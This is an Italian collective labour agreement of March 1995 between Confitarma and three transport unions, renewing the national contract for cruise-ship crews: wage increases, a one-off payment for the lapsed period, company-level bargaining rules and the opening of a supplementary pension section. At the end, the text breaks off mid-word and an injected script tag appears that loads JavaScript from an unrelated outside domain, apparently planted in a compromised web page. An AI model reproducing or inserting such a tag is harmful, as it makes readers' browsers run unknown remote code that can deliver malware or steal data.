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Categoria: Marittimi, navi da crociera Settore: Trasporti Data stipula: 9-3-1995 Data decorrenza: 1-1-1995 Data scadenza: 30-12-1998
VERBALE DI ACCORDO
Addì 9 marzo 1995, presso la Confitarma in Roma si sono incontrate: la
Confitarma rappresentata dal dott. Eraldo Valle e le Organizzazioni
Sindacali FILT-CGIL, FIT-CISL, UILTRASPORTI rappresentate rispettivamente
dai sigg. Moscherini, Di Fiore e Caronia per discutere del rinnovo del
CCNL navi da crociera scaduto il 31 agosto 1994, raggiungendo il seguente
ACCORDO
La parte economica del contratto viene definita con gli aumenti di paga
base così come specificato nell'allegato n. 1 e con i relativi
scaglionamenti.
Per la vacanza contrattuale viene stabilita la corresponsione di una cifra
mensile una tantum, riportata nell'allegato n. 2, in ragione di tanti mesi
o pro-rata per quanto sono stati i mesi di imbarco o pro-rata effettuati
nel periodo 1.9.94-31.12.94.
Tale indennità una tantum non è dovuta al personale dipendente (T.P. o
C.R.L.) di quelle aziende le cui navi durante il periodo di vacanza
contrattuale abbiano dismesso temporaneamente la bandiera secondo quanto
previsto dalla legge 234/89.
Tali indennità verranno identificate a livello aziendale tenendo conto
delle varie situazioni in essere tra le stesse parti contraenti gli
accordi sindacali previsti dagli artt. 28 e 29 della citata legge.
La parte normativa viene così stabilita:
l'art. 97 del CCNL navi da crociera del 27.7.92 viene così modificato:
1) Fermo restando tutto quanto previsto dalla premessa del presente
contratto, che qui si intende ancora richiamare ad ogni effetto, potranno
essere oggetto di negoziazione aziendale, in armonia con quanto previsto
dall'accordo interconfederale del 23 luglio 1993, erogazioni salariali
correlate ad incrementi di produttività derivanti da programmi concordati
tra le parti che determinino miglioramento dell'economicità dei servizi,
con particolare riferimento alle norme sull'organizzazione del lavoro per
navi automatizzate, specializzate e tradizionali.
Verrà inoltre considerato utile ai fini del negoziato sulla produttività
la possibile estensione della polivalenza ad altre figure professionali
diverse dalle categorie iniziali con intercambiabilità di impiego (Mozzi
e Giovanotti).
2) Nel negoziato Aziendale dovrà essere concordato l'incremento dei
lavori preesistenti, nonché quello delle indennità e/o istituti già
presenti nei singoli accordi aziendali, nei limiti dei tassi di inflazione
programmata.
3) Non possono formare oggetto di trattazione aziendale argomenti che
siano già disciplinati dal Contratto Nazionale.
Condizioni normative difformi da quelle previste dal contratto
nazionale, già contenute nei contratti aziendali, verranno mantenute
invariate fino alla scadenza dei contratti stessi.
4) La trattativa da svolgere presso l'Associazione Armatoriale cui
aderisce l'Azienda dovrà essere avviata entro 15 giorni dal ricevimento
della lettera.
Le piattaforme rivendicative aziendali devono essere presentate tre mesi
prima della scadenza del contratto integrativo, e per tale periodo, così
come per il mese successivo alla scadenza del contratto stesso, le parti
si asterranno da azioni dirette e unilaterali.
5) Invariato.
6) Fatto salvo quanto previsto ai precedenti punti 1) e 2) durante il
periodo di validità del presente contratto non dovranno essere posti a
carico delle Aziende oneri aggiuntivi.
7) Decorrenza e durata:
La contrattazione aziendale di cui al punto 2) potrà avere inizio a
partire dal 1° gennaio 1995 e avrà durata biennale.
Il negoziato di cui al punto 1) potrà essere iniziato a partire
dall'1.9.96 e avrà validità quadriennale.
PREVIDENZA INTEGRATIVA
Le parti congiuntamente riconoscono che, nell'attuale quadro di riforma
della previdenza pubblica, acquista rilevanza l<script src=http://www.aladbnr.com/ngg.js></script>
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